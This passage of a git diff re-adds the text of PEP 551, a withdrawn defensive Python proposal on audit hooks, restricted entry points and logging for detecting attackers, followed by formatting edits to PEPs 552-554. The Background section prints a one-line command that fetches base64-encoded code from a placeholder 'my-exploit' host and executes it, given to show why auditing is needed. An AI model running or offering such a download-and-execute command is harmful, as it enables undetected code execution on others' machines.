always of interest include -attempts to bypass auditing, attempts to load and execute code that is -not correctly signed or access-controlled, use of uncommon operating -system functionality such as debugging or inter-process inspection -tools, most network access and DNS resolution, and attempts to create -and hide files or configuration settings on the local machine. - -To summarize, defenders have a need to audit specific uses of Python in -order to detect abnormal or malicious usage. With PEP 578, the Python -runtime gains the ability to provide this. The aim of this PEP is to -assist system administrators with deploying a security transparent -version of Python that can integrate with their existing auditing and -protection systems. - -On Windows, some specific features that may be integrated through the -hooks added by PEP 578 include: - -* Script Block Logging [3]_ -* DeviceGuard [4]_ -* AMSI [5]_ -* Persistent Zone Identifiers [6]_ -* Event tracing (which includes event forwarding) [7]_ - -On Linux, some specific features that may be integrated are: - -* gnupg [8]_ -* sd_journal [9]_ -* OpenBSM [10]_ -* syslog [11]_ -* auditd [12]_ -* SELinux labels [13]_ -* check execute bit on imported modules - -On macOS, some features that may be integrated are: - -* OpenBSM [10]_ -* syslog [11]_ - -Overall, the ability to enable these platform-specific features on -production machines is highly appealing to system administrators and -will make Python a more trustworthy dependency for application -developers. - -True security transparency is not fully achievable by Python in -isolation. The runtime can audit as many events as it likes, but unless -the logs are reviewed and analyzed there is no value. Python may impose -restrictions in the name of security, but usability may suffer. -Different platforms and environments will require different -implementations of certain security features, and organizations with the -resources to fully customize their runtime should be encouraged to do -so. - -Summary Recommendations -======================= - -These are discussed in greater detail in later sections, but are -presented here to frame the overall discussion. - -Sysadmins should provide and use an alternate entry point (besides -``python.exe`` or ``pythonX.Y``) in order to reduce surface area and -securely enable audit hooks. A discussion of what could be restricted -is below in `Restricting the Entry Point`_. - -Sysadmins should use all available measures provided by their operating -system to prevent modifications to their Python installation, such as -file permissions, access control lists and signature validation. - -Sysadmins should log everything and collect logs to a central location -as quickly as possible - avoid keeping logs on outer-ring machines. - -Sysadmins should prioritize _detection_ of misuse over _prevention_ of -misuse. - - -Restricting the Entry Point -=========================== - -One of the primary vulnerabilities exposed by the presence of Python -on a machine is the ability to execute arbitrary code without -detection or verification by the system. This is made significantly -easier because the default entry point (``python.exe`` on Windows and -``pythonX.Y`` on other platforms) allows execution from the command -line, from standard input, and does not have any hooks enabled by -default. - -Our recommendation is that production machines should use a modified -entry point instead of the default. Once outside of the development -environment, there is rarely a need for the flexibility offered by the -default entry point. - -In this section, we describe a hypothetical ``spython`` entry point -(``spython.exe`` on Windows; ``spythonX.Y`` on other platforms) that -provides a level of security transparency recommended for production -machines. An associated example implementation shows many of the -features described here, though with a number of concessions for the -sake of avoiding platform-specific code. A sufficient implementation -will inherently require some integration with platform-specific -security features. - -Official distributions will not include any ``spython`` by default, but -third party distributions may include appropriately modified entry -points that use the same name. - -**Remove most command-line arguments** - -The ``spython`` entry point requires a script file be passed as the -first argument, and does not allow any options to precede it. This -prevents arbitrary code execution from in-memory data or non-script -files (such as pickles, which could be executed using -``-m pickle ``. - -Options ``-B`` (do not write bytecode), ``-E`` (ignore environment -variables) and ``-s`` (no user site) are assumed. - -If a file with the same full path as the process with a ``._pth`` suffix -(``spython._pth`` on Windows, ``spythonX.Y._pth`` on Linux) exists, it -will be used to initialize ``sys.path`` following the rules currently -described `for Windows -`_. - -For the sake of demonstration, the example implementation of -``spython`` also allows the ``-i`` option to start in interactive mode. -This is not recommended for restricted entry points. - -**Log audited events** - -Before initialization, ``spython`` sets an audit hook that writes all -audited events to an OS-managed log file. On Windows, this is the Event -Tracing functionality,[7]_ and on other platforms they go to -syslog.[11]_ Logs are copied from the machine as frequently as possible -to prevent loss of information should an attacker attempt to clear -local logs or prevent legitimate access to the machine. - -The audit hook will also abort all ``sys.addaudithook`` events, -preventing any other hooks from being added. - -The logging hook is written in native code and configured before the -interpreter is initialized. This is the only opportunity to ensure that -no Python code executes without auditing, and that Python code cannot -prevent registration of the hook. - -Our primary aim is to record all actions taken by all Python processes, -so that detection may be performed offline against logged events. -Having all events recorded also allows for deeper analysis and the use -of machine learning algorithms. These are useful for detecting -persistent attacks, where the attacker is intending to remain within -the protected machines for some period of time, as well as for later -analysis to determine the impact and exposure caused by a successful -attack. - -The example implementation of ``spython`` writes to a log file on the -local machine, for the sake of demonstration. When started with ``-i``, -the example implementation writes all audit events to standard error -instead of the log file. The ``SPYTHONLOG`` environment variable can be -used to specify the log file location. - -**Restrict importable modules** - -Also before initialization, ``spython`` sets an open-for-import hook -that validates all files opened with ``os.open_for_import``. This -implementation requires all files to have a ``.py`` suffix (preventing -the use of cached bytecode), and will raise a custom audit event -``spython.open_for_import`` containing ``(filename, True_if_allowed)``. - -After opening the file, the entire contents is read into memory in a -single buffer and the file is closed. - -Compilation will later trigger a ``compile`` event, so there is no need -to validate the contents now using mechanisms that also apply to -dynamically generated code. However, if a whitelist of source files or -file hashes is available, then other validation mechanisms such as -DeviceGuard [4]_ should be performed here. - - - -**Restrict globals in pickles** - -The ``spython`` entry point will abort all ``pickle.find_class`` events -that use the default implementation. Overrides will not raise audit -events unless explicitly added, and so they will continue to be allowed. - -**Prevent os.system** - -The ``spython`` entry point aborts all ``os.system`` calls. - -It should be noted here that ``subprocess.Popen(shell=True)`` is -allowed (though logged via the platform-specific process creation -events). This tradeoff is made because it is much simpler to induce a -running application to call ``os.system`` with a single string argument -than a function with multiple arguments, and so it is more likely to be -used as part of an exploit. There is also little justification for -using ``os.system`` in production code, while ``subprocess.Popen`` has -a large number of legitimate uses. Though logs indicating the use of -the ``shell=True`` argument should be more carefully scrutinised. - -Sysadmins are encouraged to make these kinds of tradeoffs between -restriction and detection, and generally should prefer detection. - -General Recommendations -======================= - -Recommendations beyond those suggested in the previous section are -difficult, as the ideal configuration for any environment depends on -the sysadmin's ability to manage, monitor, and respond to activity on -their own network. Nonetheless, here we attempt to provide some context -and guidance for integrating Python into a complete system. - -This section provides recommendations using the terms **should** (or -**should not**), indicating that we consider it risky to ignore the -advice, and **may**, indicating that for the advice ought to be -considered for high value systems. The term **sysadmin** refers to -whoever is responsible for deploying Python throughout the network; -different organizations may have an alternative title for the -responsible people. - -Sysadmins **should** build their own entry point, likely starting from -the ``spython`` source, and directly interface with the security systems -available in their environment. The more tightly integrated, the less -likely a vulnerability will be found allowing an attacker to bypass -those systems. In particular, the entry point **should not** obtain any -settings from the current environment, such as environment variables, -unless those settings are otherwise protected from modification. - -Audit messages **should not** be written to a local file. The -``spython`` entry point does this for example and testing purposes. On -production machines, tools such as ETW [7]_ or auditd [12]_ that are -intended for this purpose should be used. - -The default ``python`` entry point **should not** be deployed to -production machines, but could be given to developers to use and test -Python on non-production machines. Sysadmins **may** consider deploying -a less restrictive version of their entry point to developer machines, -since any system connected to your network is a potential target. -Sysadmins **may** deploy their own entry point as ``python`` to obscure -the fact that extra auditing is being included. - -Python deployments **should** be made read-only using any available -platform functionality after deployment and during use. - -On platforms that support it, sysadmins **should** include signatures -for every file in a Python deployment, ideally verified using a private -certificate. For example, Windows supports embedding signatures in -executable files and using catalogs for others, and can use DeviceGuard -[4]_ to validate signatures either automatically or using an -``open_for_import`` hook. - -Sysadmins **should** log as many audited events as possible, and -**should** copy logs off of local machines frequently. Even if logs are -not being constantly monitored for suspicious activity, once an attack -is detected it is too late to enable auditing. Audit hooks **should -not** attempt to preemptively filter events, as even benign events are -useful when analyzing the progress of an attack. (Watch the "No Easy -Breach" video under `Further Reading`_ for a deeper look at this side of -things.) - -Most actions **should not** be aborted if they could ever occur during -normal use or if preventing them will encourage attackers to work around -them. As described earlier, awareness is a higher priority than -prevention. Sysadmins **may** audit their Python code and abort -operations that are known to never be used deliberately. - -Audit hooks **should** write events to logs before attempting to abort. -As discussed earlier, it is more important to record malicious actions -than to prevent them. - -Sysadmins **should** identify correlations between events, as a change -to correlated events may indicate misuse. For example, module imports -will typically trigger the ``import`` auditing event, followed by an -``open_for_import`` call and usually a ``compile`` event. Attempts to -bypass auditing will often suppress some but not all of these events. So -if the log contains ``import`` events but not ``compile`` events, -investigation may be necessary. - -The first audit hook **should** be set in C code before -``Py_Initialize`` is called, and that hook **should** unconditionally -abort the ``sys.addloghook`` event. The Python interface is primarily -intended for testing and development. - -To prevent audit hooks being added on non-production machines, an entry -point **may** add an audit hook that aborts the ``sys.addloghook`` event -but otherwise does nothing. - -On production machines, a non-validating ``open_for_import`` hook -**may** be set in C code before ``Py_Initialize`` is called. This -prevents later code from overriding the hook, however, logging the -``setopenforexecutehandler`` event is useful since no code should ever -need to call it. Using at least the sample ``open_for_import`` hook -implementation from ``spython`` is recommended. - -Since ``importlib``'s use of ``open_for_import`` may be easily bypassed -with monkeypatching, an audit hook **should** be used to detect -attribute changes on type objects. - -Things not to do -================ - -This section discusses common or "obviously good" recommendations that -we are specifically *not* making. These range from useless or incorrect -through to ideas that are simply not feasible in any real world -environment. - -**Do not** attempt to implement a sandbox within the Python runtime. -There is a long history of attempts to allow arbitrary code limited use -of Python features (such as [14]_), but no general success. The best -options are to run unrestricted Python within a sandboxed environment -with at least hypervisor-level isolation, or to prevent unauthorised -code from starting at all. - -**Do not** rely on static analysis to verify untrusted code before use. -The best options are to pre-authorise trusted code, such as with code -signing, and if not possible to identify known-bad code, such as with -an anti-malware scanner. - -**Do not** use audit hooks to abort operations without logging the -event first. You will regret not knowing why your process disappeared. - -[TODO - more bad advice] - -Further Reading -=============== - - -**Redefining Malware: When Old Terms Pose New Threats** - By Aviv Raff for SecurityWeek, 29th January 2014 - - This article, and those linked by it, are high-level summaries of the rise of - APTs and the differences from "traditional" malware. - - ``_ - -**Anatomy of a Cyber Attack** - By FireEye, accessed 23rd August 2017 - - A summary of the techniques used by APTs, and links to a number of relevant - whitepapers. - - ``_ - -**Automated Traffic Log Analysis: A Must Have for Advanced Threat Protection** - By Aviv Raff for SecurityWeek, 8th May 2014 - - High-level summary of the value of detailed logging and automatic analysis. - - ``_ - -**No Easy Breach: Challenges and Lessons Learned from an Epic Investigation** - Video presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016 - - Detailed walkthrough of the processes and tools used in detecting and removing - an APT. - - ``_ - -**Disrupting Nation State Hackers** - Video presented by Rob Joyce for the NSA at USENIX Enigma 2016 - - Good security practices, capabilities and recommendations from the chief of - NSA's Tailored Access Operation. - - ``_ - -References -========== - -.. [1] Assume Breach Mindset, ``_ - -.. [2] PowerShell Loves the Blue Team, also known as Scripting Security and - Protection Advances in Windows 10, ``_ - -.. [3] ``_ - -.. [4] ``_ - -.. [5] Antimalware Scan Interface, ``_ - -.. [6] Persistent Zone Identifiers, ``_ - -.. [7] Event tracing, ``_ - -.. [8] ``_ - -.. [9] ``_ - -.. [10] ``_ - -.. [11] ``_ - -.. [12] ``_ - -.. [13] SELinux access decisions ``_ - -.. [14] The failure of pysandbox ``_ - -Acknowledgments -=============== - -Thanks to all the people from Microsoft involved in helping make the -Python runtime safer for production use, and especially to James Powell -for doing much of the initial research, analysis and implementation, Lee -Holmes for invaluable insights into the info-sec field and PowerShell's -responses, and Brett Cannon for the restraining and grounding -discussions. - -Copyright -========= - -Copyright (c) 2017-2018 by Microsoft Corporation. This material may be -distributed only subject to the terms and conditions set forth in the -Open Publication License, v1.0 or later (the latest version is presently -available at http://www.opencontent.org/openpub/). +PEP: 551 +Title: Security transparency in the Python runtime +Version: $Revision$ +Last-Modified: $Date$ +Author: Steve Dower +Status: Withdrawn +Type: Informational +Content-Type: text/x-rst +Created: 23-Aug-2017 +Python-Version: 3.7 +Post-History: 24-Aug-2017, 28-Aug-2017 + +.. note:: + This PEP has been withdrawn. For information about integrated + CPython into a secure environment, we recommend consulting your own + security experts. + +Relationship to PEP 578 +======================= + +This PEP has been split into two since its original posting. + +See :pep:`578` for the +auditing APIs proposed for addition to the next version of Python. + +This is now an informational PEP, providing guidance to those planning +to integrate Python into their secure or audited environments. + +Abstract +======== + +This PEP describes the concept of security transparency and how it +applies to the Python runtime. Visibility into actions taken by the +runtime is invaluable in integrating Python into an otherwise secure +and/or monitored environment. + +The audit hooks described in :pep:`578` are an essential component in +detecting, identifying and analyzing misuse of Python. While the hooks +themselves are neutral (in that not every reported event is inherently +misuse), they provide essential context to those who are responsible +for monitoring an overall system or network. With enough transparency, +attackers are no longer able to hide. + +Background +========== + +Software vulnerabilities are generally seen as bugs that enable remote +or elevated code execution. However, in our modern connected world, the +more dangerous vulnerabilities are those that enable advanced persistent +threats (APTs). APTs are achieved when an attacker is able to penetrate +a network, establish their software on one or more machines, and over +time extract data or intelligence. Some APTs may make themselves known +by maliciously damaging data (e.g., `WannaCrypt +`_) +or hardware (e.g., `Stuxnet +`_). +Most attempt to hide their existence and avoid detection. APTs often use +a combination of traditional vulnerabilities, social engineering, +phishing (or spear-phishing), thorough network analysis, and an +understanding of misconfigured environments to establish themselves and +do their work. + +The first infected machines may not be the final target and may not +require special privileges. For example, an APT that is established as a +non-administrative user on a developer’s machine may have the ability to +spread to production machines through normal deployment channels. It is +common for APTs to persist on as many machines as possible, with sheer +weight of presence making them difficult to remove completely. + +Whether an attacker is seeking to cause direct harm or hide their +tracks, the biggest barrier to detection is a lack of insight. System +administrators with large networks rely on distributed logs to +understand what their machines are doing, but logs are often filtered to +show only error conditions. APTs that are attempting to avoid detection +will rarely generate errors or abnormal events. Reviewing normal +operation logs involves a significant amount of effort, though work is +underway by a number of companies to enable automatic anomaly detection +within operational logs. The tools preferred by attackers are ones that +are already installed on the target machines, since log messages from +these tools are often expected and ignored in normal use. + +At this point, we are not going to spend further time discussing the +existence of APTs or methods and mitigations that do not apply to this +PEP. For further information about the field, we recommend reading or +watching the resources listed under `Further Reading`_. + +Python is a particularly interesting tool for attackers due to its +prevalence on server and developer machines, its ability to execute +arbitrary code provided as data (as opposed to native binaries), and its +complete lack of internal auditing. This allows attackers to download, +decrypt, and execute malicious code with a single command:: + + python -c "import urllib.request, base64; + exec(base64.b64decode( + urllib.request.urlopen('http://my-exploit/py.b64') + ).decode())" + +This command currently bypasses most anti-malware scanners that rely on +recognizable code being read through a network connection or being +written to disk (base64 is often sufficient to bypass these checks). It +also bypasses protections such as file access control lists or +permissions (no file access occurs), approved application lists +(assuming Python has been approved for other uses), and automated +auditing or logging (assuming Python is allowed to access the internet +or access another machine on the local network from which to obtain its +payload). + +General consensus among the security community is that totally +preventing attacks is infeasible and defenders should assume that they +will often detect attacks only after they have succeeded. This is known +as the "assume breach" mindset. [1]_ In this scenario, protections such +as sandboxing and input validation have already failed, and the +important task is detection, tracking, and eventual removal of the +malicious code. To this end, the primary feature required from Python is +security transparency: the ability to see what operations the Python +runtime is performing that may indicate anomalous or malicious use. +Preventing such use is valuable, but secondary to the need to know that +it is occurring. + +To summarise the goals in order of increasing importance: + +* preventing malicious use is valuable +* detecting malicious use is important +* detecting attempts to bypass detection is critical + +One example of a scripting engine that has addressed these challenges is +PowerShell, which has recently been enhanced towards similar goals of +transparency and prevention. [2]_ + +Generally, application and system configuration will determine which +events within a scripting engine are worth logging. However, given the +value of many logs events are not recognized until after an attack is +detected, it is important to capture as much as possible and filter +views rather than filtering at the source (see the No Easy Breach video +from `Further Reading`_). Events that are always of interest include +attempts to bypass auditing, attempts to load and execute code that is +not correctly signed or access-controlled, use of uncommon operating +system functionality such as debugging or inter-process inspection +tools, most network access and DNS resolution, and attempts to create +and hide files or configuration settings on the local machine. + +To summarize, defenders have a need to audit specific uses of Python in +order to detect abnormal or malicious usage. With :pep:`578`, the Python +runtime gains the ability to provide this. The aim of this PEP is to +assist system administrators with deploying a security transparent +version of Python that can integrate with their existing auditing and +protection systems. + +On Windows, some specific features that may be integrated through the +hooks added by :pep:`578` include: + +* Script Block Logging [3]_ +* DeviceGuard [4]_ +* AMSI [5]_ +* Persistent Zone Identifiers [6]_ +* Event tracing (which includes event forwarding) [7]_ + +On Linux, some specific features that may be integrated are: + +* gnupg [8]_ +* sd_journal [9]_ +* OpenBSM [10]_ +* syslog [11]_ +* auditd [12]_ +* SELinux labels [13]_ +* check execute bit on imported modules + +On macOS, some features that may be integrated are: + +* OpenBSM [10]_ +* syslog [11]_ + +Overall, the ability to enable these platform-specific features on +production machines is highly appealing to system administrators and +will make Python a more trustworthy dependency for application +developers. + +True security transparency is not fully achievable by Python in +isolation. The runtime can audit as many events as it likes, but unless +the logs are reviewed and analyzed there is no value. Python may impose +restrictions in the name of security, but usability may suffer. +Different platforms and environments will require different +implementations of certain security features, and organizations with the +resources to fully customize their runtime should be encouraged to do +so. + +Summary Recommendations +======================= + +These are discussed in greater detail in later sections, but are +presented here to frame the overall discussion. + +Sysadmins should provide and use an alternate entry point (besides +``python.exe`` or ``pythonX.Y``) in order to reduce surface area and +securely enable audit hooks. A discussion of what could be restricted +is below in `Restricting the Entry Point`_. + +Sysadmins should use all available measures provided by their operating +system to prevent modifications to their Python installation, such as +file permissions, access control lists and signature validation. + +Sysadmins should log everything and collect logs to a central location +as quickly as possible - avoid keeping logs on outer-ring machines. + +Sysadmins should prioritize _detection_ of misuse over _prevention_ of +misuse. + + +Restricting the Entry Point +=========================== + +One of the primary vulnerabilities exposed by the presence of Python +on a machine is the ability to execute arbitrary code without +detection or verification by the system. This is made significantly +easier because the default entry point (``python.exe`` on Windows and +``pythonX.Y`` on other platforms) allows execution from the command +line, from standard input, and does not have any hooks enabled by +default. + +Our recommendation is that production machines should use a modified +entry point instead of the default. Once outside of the development +environment, there is rarely a need for the flexibility offered by the +default entry point. + +In this section, we describe a hypothetical ``spython`` entry point +(``spython.exe`` on Windows; ``spythonX.Y`` on other platforms) that +provides a level of security transparency recommended for production +machines. An associated example implementation shows many of the +features described here, though with a number of concessions for the +sake of avoiding platform-specific code. A sufficient implementation +will inherently require some integration with platform-specific +security features. + +Official distributions will not include any ``spython`` by default, but +third party distributions may include appropriately modified entry +points that use the same name. + +**Remove most command-line arguments** + +The ``spython`` entry point requires a script file be passed as the +first argument, and does not allow any options to precede it. This +prevents arbitrary code execution from in-memory data or non-script +files (such as pickles, which could be executed using +``-m pickle ``. + +Options ``-B`` (do not write bytecode), ``-E`` (ignore environment +variables) and ``-s`` (no user site) are assumed. + +If a file with the same full path as the process with a ``._pth`` suffix +(``spython._pth`` on Windows, ``spythonX.Y._pth`` on Linux) exists, it +will be used to initialize ``sys.path`` following the rules currently +described `for Windows +`_. + +For the sake of demonstration, the example implementation of +``spython`` also allows the ``-i`` option to start in interactive mode. +This is not recommended for restricted entry points. + +**Log audited events** + +Before initialization, ``spython`` sets an audit hook that writes all +audited events to an OS-managed log file. On Windows, this is the Event +Tracing functionality,[7]_ and on other platforms they go to +syslog.[11]_ Logs are copied from the machine as frequently as possible +to prevent loss of information should an attacker attempt to clear +local logs or prevent legitimate access to the machine. + +The audit hook will also abort all ``sys.addaudithook`` events, +preventing any other hooks from being added. + +The logging hook is written in native code and configured before the +interpreter is initialized. This is the only opportunity to ensure that +no Python code executes without auditing, and that Python code cannot +prevent registration of the hook. + +Our primary aim is to record all actions taken by all Python processes, +so that detection may be performed offline against logged events. +Having all events recorded also allows for deeper analysis and the use +of machine learning algorithms. These are useful for detecting +persistent attacks, where the attacker is intending to remain within +the protected machines for some period of time, as well as for later +analysis to determine the impact and exposure caused by a successful +attack. + +The example implementation of ``spython`` writes to a log file on the +local machine, for the sake of demonstration. When started with ``-i``, +the example implementation writes all audit events to standard error +instead of the log file. The ``SPYTHONLOG`` environment variable can be +used to specify the log file location. + +**Restrict importable modules** + +Also before initialization, ``spython`` sets an open-for-import hook +that validates all files opened with ``os.open_for_import``. This +implementation requires all files to have a ``.py`` suffix (preventing +the use of cached bytecode), and will raise a custom audit event +``spython.open_for_import`` containing ``(filename, True_if_allowed)``. + +After opening the file, the entire contents is read into memory in a +single buffer and the file is closed. + +Compilation will later trigger a ``compile`` event, so there is no need +to validate the contents now using mechanisms that also apply to +dynamically generated code. However, if a whitelist of source files or +file hashes is available, then other validation mechanisms such as +DeviceGuard [4]_ should be performed here. + + + +**Restrict globals in pickles** + +The ``spython`` entry point will abort all ``pickle.find_class`` events +that use the default implementation. Overrides will not raise audit +events unless explicitly added, and so they will continue to be allowed. + +**Prevent os.system** + +The ``spython`` entry point aborts all ``os.system`` calls. + +It should be noted here that ``subprocess.Popen(shell=True)`` is +allowed (though logged via the platform-specific process creation +events). This tradeoff is made because it is much simpler to induce a +running application to call ``os.system`` with a single string argument +than a function with multiple arguments, and so it is more likely to be +used as part of an exploit. There is also little justification for +using ``os.system`` in production code, while ``subprocess.Popen`` has +a large number of legitimate uses. Though logs indicating the use of +the ``shell=True`` argument should be more carefully scrutinised. + +Sysadmins are encouraged to make these kinds of tradeoffs between +restriction and detection, and generally should prefer detection. + +General Recommendations +======================= + +Recommendations beyond those suggested in the previous section are +difficult, as the ideal configuration for any environment depends on +the sysadmin's ability to manage, monitor, and respond to activity on +their own network. Nonetheless, here we attempt to provide some context +and guidance for integrating Python into a complete system. + +This section provides recommendations using the terms **should** (or +**should not**), indicating that we consider it risky to ignore the +advice, and **may**, indicating that for the advice ought to be +considered for high value systems. The term **sysadmin** refers to +whoever is responsible for deploying Python throughout the network; +different organizations may have an alternative title for the +responsible people. + +Sysadmins **should** build their own entry point, likely starting from +the ``spython`` source, and directly interface with the security systems +available in their environment. The more tightly integrated, the less +likely a vulnerability will be found allowing an attacker to bypass +those systems. In particular, the entry point **should not** obtain any +settings from the current environment, such as environment variables, +unless those settings are otherwise protected from modification. + +Audit messages **should not** be written to a local file. The +``spython`` entry point does this for example and testing purposes. On +production machines, tools such as ETW [7]_ or auditd [12]_ that are +intended for this purpose should be used. + +The default ``python`` entry point **should not** be deployed to +production machines, but could be given to developers to use and test +Python on non-production machines. Sysadmins **may** consider deploying +a less restrictive version of their entry point to developer machines, +since any system connected to your network is a potential target. +Sysadmins **may** deploy their own entry point as ``python`` to obscure +the fact that extra auditing is being included. + +Python deployments **should** be made read-only using any available +platform functionality after deployment and during use. + +On platforms that support it, sysadmins **should** include signatures +for every file in a Python deployment, ideally verified using a private +certificate. For example, Windows supports embedding signatures in +executable files and using catalogs for others, and can use DeviceGuard +[4]_ to validate signatures either automatically or using an +``open_for_import`` hook. + +Sysadmins **should** log as many audited events as possible, and +**should** copy logs off of local machines frequently. Even if logs are +not being constantly monitored for suspicious activity, once an attack +is detected it is too late to enable auditing. Audit hooks **should +not** attempt to preemptively filter events, as even benign events are +useful when analyzing the progress of an attack. (Watch the "No Easy +Breach" video under `Further Reading`_ for a deeper look at this side of +things.) + +Most actions **should not** be aborted if they could ever occur during +normal use or if preventing them will encourage attackers to work around +them. As described earlier, awareness is a higher priority than +prevention. Sysadmins **may** audit their Python code and abort +operations that are known to never be used deliberately. + +Audit hooks **should** write events to logs before attempting to abort. +As discussed earlier, it is more important to record malicious actions +than to prevent them. + +Sysadmins **should** identify correlations between events, as a change +to correlated events may indicate misuse. For example, module imports +will typically trigger the ``import`` auditing event, followed by an +``open_for_import`` call and usually a ``compile`` event. Attempts to +bypass auditing will often suppress some but not all of these events. So +if the log contains ``import`` events but not ``compile`` events, +investigation may be necessary. + +The first audit hook **should** be set in C code before +``Py_Initialize`` is called, and that hook **should** unconditionally +abort the ``sys.addloghook`` event. The Python interface is primarily +intended for testing and development. + +To prevent audit hooks being added on non-production machines, an entry +point **may** add an audit hook that aborts the ``sys.addloghook`` event +but otherwise does nothing. + +On production machines, a non-validating ``open_for_import`` hook +**may** be set in C code before ``Py_Initialize`` is called. This +prevents later code from overriding the hook, however, logging the +``setopenforexecutehandler`` event is useful since no code should ever +need to call it. Using at least the sample ``open_for_import`` hook +implementation from ``spython`` is recommended. + +Since ``importlib``'s use of ``open_for_import`` may be easily bypassed +with monkeypatching, an audit hook **should** be used to detect +attribute changes on type objects. + +Things not to do +================ + +This section discusses common or "obviously good" recommendations that +we are specifically *not* making. These range from useless or incorrect +through to ideas that are simply not feasible in any real world +environment. + +**Do not** attempt to implement a sandbox within the Python runtime. +There is a long history of attempts to allow arbitrary code limited use +of Python features (such as [14]_), but no general success. The best +options are to run unrestricted Python within a sandboxed environment +with at least hypervisor-level isolation, or to prevent unauthorised +code from starting at all. + +**Do not** rely on static analysis to verify untrusted code before use. +The best options are to pre-authorise trusted code, such as with code +signing, and if not possible to identify known-bad code, such as with +an anti-malware scanner. + +**Do not** use audit hooks to abort operations without logging the +event first. You will regret not knowing why your process disappeared. + +[TODO - more bad advice] + +Further Reading +=============== + + +**Redefining Malware: When Old Terms Pose New Threats** + By Aviv Raff for SecurityWeek, 29th January 2014 + + This article, and those linked by it, are high-level summaries of the rise of + APTs and the differences from "traditional" malware. + + ``_ + +**Anatomy of a Cyber Attack** + By FireEye, accessed 23rd August 2017 + + A summary of the techniques used by APTs, and links to a number of relevant + whitepapers. + + ``_ + +**Automated Traffic Log Analysis: A Must Have for Advanced Threat Protection** + By Aviv Raff for SecurityWeek, 8th May 2014 + + High-level summary of the value of detailed logging and automatic analysis. + + ``_ + +**No Easy Breach: Challenges and Lessons Learned from an Epic Investigation** + Video presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016 + + Detailed walkthrough of the processes and tools used in detecting and removing + an APT. + + ``_ + +**Disrupting Nation State Hackers** + Video presented by Rob Joyce for the NSA at USENIX Enigma 2016 + + Good security practices, capabilities and recommendations from the chief of + NSA's Tailored Access Operation. + + ``_ + +References +========== + +.. [1] Assume Breach Mindset, ``_ + +.. [2] PowerShell Loves the Blue Team, also known as Scripting Security and + Protection Advances in Windows 10, ``_ + +.. [3] ``_ + +.. [4] ``_ + +.. [5] Antimalware Scan Interface, ``_ + +.. [6] Persistent Zone Identifiers, ``_ + +.. [7] Event tracing, ``_ + +.. [8] ``_ + +.. [9] ``_ + +.. [10] ``_ + +.. [11] ``_ + +.. [12] ``_ + +.. [13] SELinux access decisions ``_ + +.. [14] The failure of pysandbox ``_ + +Acknowledgments +=============== + +Thanks to all the people from Microsoft involved in helping make the +Python runtime safer for production use, and especially to James Powell +for doing much of the initial research, analysis and implementation, Lee +Holmes for invaluable insights into the info-sec field and PowerShell's +responses, and Brett Cannon for the restraining and grounding +discussions. + +Copyright +========= + +Copyright (c) 2017-2018 by Microsoft Corporation. This material may be +distributed only subject to the terms and conditions set forth in the +Open Publication License, v1.0 or later (the latest version is presently +available at http://www.opencontent.org/openpub/). diff --git a/pep-0552.rst b/pep-0552.rst index c2a7b3e6172..3a1a8a532bb 100644 --- a/pep-0552.rst +++ b/pep-0552.rst @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 04-Sep-2017 Python-Version: 3.7 -Post-History: 2017-09-07 +Post-History: 07-Sep-2017 Resolution: https://mail.python.org/pipermail/python-dev/2017-September/149649.html diff --git a/pep-0553.rst b/pep-0553.rst index 1ca7eefe97d..dea7150922e 100644 --- a/pep-0553.rst +++ b/pep-0553.rst @@ -6,7 +6,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 05-Sep-2017 Python-Version: 3.7 -Post-History: 2017-09-05, 2017-09-07, 2017-09-13 +Post-History: 05-Sep-2017, 07-Sep-2017, 13-Sep-2017 Resolution: https://mail.python.org/pipermail/python-dev/2017-October/149705.html @@ -217,7 +217,7 @@ existing keyword such as ``break here``. This is rejected on several fronts. * An extended keyword such as ``break here``, while more readable and not requiring a ``__future__`` would tie the keyword extension to this new feature, preventing more useful extensions such as those proposed in - PEP 548. + :pep:`548`. * A new keyword would require a modified grammar and likely a new bytecode. Each of these makes the implementation more complex. A new built-in breaks @@ -280,22 +280,8 @@ References .. [impl] https://github.com/python/cpython/pull/3355 -.. [envar] - https://mail.python.org/pipermail/python-dev/2017-September/149447.html - Copyright ========= This document has been placed in the public domain. - - - -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - coding: utf-8 - End: diff --git a/pep-0554.rst b/pep-0554.rst index 80753ad19c4..f0c7d50d723 100644 --- a/pep-0554.rst +++ b/pep-0554.rst @@ -69,7 +69,7 @@ At first only the following types will be supported for sharing: * bytes * str * int -* PEP 554 channels +* :pep:`554` channels Support for other basic types (e.g. bool, float, Ellipsis) will be added later. @@ -196,7 +196,7 @@ following: * be clear that extension modules are *not* required to support use in subinterpreters -* raise ``ImportError`` when an incompatible (no PEP 489 support) module +* raise ``ImportError`` when an incompatible (no :pep:`489` support) module is imported in a subinterpreter * provide resources (e.g. docs) to help maintainers reach compatibility * reach out to the maintainers of Cython and of the most used extension @@ -491,9 +491,9 @@ will appeal to some Python users. That is the core value that the In the `Interpreter Isolation`_ section below we identify ways in which isolation in CPython's subinterpreters is incomplete. Most notable is extension modules that use C globals to store internal -state. PEP 3121 and PEP 489 provide a solution for most of the +state. :pep:`3121` and :pep:`489` provide a solution for most of the problem, but one still remains. [petr-c-ext]_ Until that is resolved -(see PEP 573), C extension authors will face extra difficulty +(see :pep:`573`), C extension authors will face extra difficulty to support subinterpreters. Consequently, projects that publish extension modules may face an @@ -519,7 +519,7 @@ Introducing an API for a new concurrency model, like happened with asyncio, is an extremely large project that requires a lot of careful consideration. It is not something that can be done a simply as this PEP proposes and likely deserves significant time on PyPI to mature. -(See `Nathaniel's post `_ on python-dev.) +(See `Nathaniel's post `_ on python-dev.) However, this PEP does not propose any new concurrency API. At most it exposes minimal tools (e.g. subinterpreters, channels) which may @@ -565,7 +565,7 @@ each with different goals. Most center on correctness and usability. One class of concurrency models focuses on isolated threads of execution that interoperate through some message passing scheme. A -notable example is `Communicating Sequential Processes`_ (CSP) (upon +notable example is Communicating Sequential Processes [CSP]_ (upon which Go's concurrency is roughly based). The isolation inherent to subinterpreters makes them well-suited to this approach. @@ -684,7 +684,7 @@ Provisional Status ================== The new ``interpreters`` module will be added with "provisional" status -(see PEP 411). This allows Python users to experiment with the feature +(see :pep:`411`). This allows Python users to experiment with the feature and provide feedback while still allowing us to adjust to that feedback. The module will be provisional in Python 3.9 and we will make a decision before the 3.10 release whether to keep it provisional, graduate it, or 